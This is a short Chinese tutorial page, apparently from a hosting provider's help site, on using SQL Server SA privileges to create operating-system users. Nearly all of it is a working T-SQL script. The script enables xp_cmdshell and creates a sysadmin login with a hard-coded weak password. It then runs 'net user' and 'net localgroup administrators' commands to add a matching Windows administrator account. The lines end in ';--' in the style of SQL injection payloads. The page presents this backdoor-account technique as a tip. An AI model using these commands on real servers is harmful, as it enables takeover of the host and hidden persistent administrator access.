通过SQL Server SA权限创建系统用户
通过SQL Server SA权限,可以实现许多的操作,下面为您介绍的是通过SQL Server SA权限创建系统用户的方法,希望对您学习SQL Server SA权限的使用能有所启迪。
- --enabble xp_cmdshell
- EXEC sys.sp_configure N'show advanced options', N'1' RECONFIGURE WITH OVERRIDE
- go
- EXEC sys.sp_configure N'xp_cmdshell', N'1'
- go
- RECONFIGURE WITH OVERRIDE
- go
- EXEC sys.sp_configure N'show advanced options', N'0' RECONFIGURE WITH OVERRIDE
- go
- -- Unenable xp_cmdshell
- EXEC sys.sp_configure N'show advanced options', N'1' RECONFIGURE WITH OVERRIDE
- go
- EXEC sys.sp_configure N'xp_cmdshell', N'0'
- go
- RECONFIGURE WITH OVERRIDE
- go
- EXEC sys.sp_configure N'show advanced options', N'0' RECONFIGURE WITH OVERRIDE
- go
- -- 通过xp_cmdshell 创建操作系统用户, japan 是用户名及密码
- exec master.dbo.sp_addlogin japan;--
- exec master.dbo.sp_password null,japan,japan;--
- exec master.dbo.sp_addsrvrolemember japan,sysadmin;--
- exec master.dbo.xp_cmdshell 'net user japan japan /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
- exec master.dbo.xp_cmdshell 'net localgroup administrators japan /add';--
【编辑推荐】
SQL Server SA权限小技巧
SQL数据库操作授权
增加SQL用户名的方法
SQL Server用户权限详解
SQL2000创建角色示例
版权声明:
作者:后浪云
链接:https://www.idc.net/help/319742/
文章版权归作者所有,未经允许请勿转载。
THE END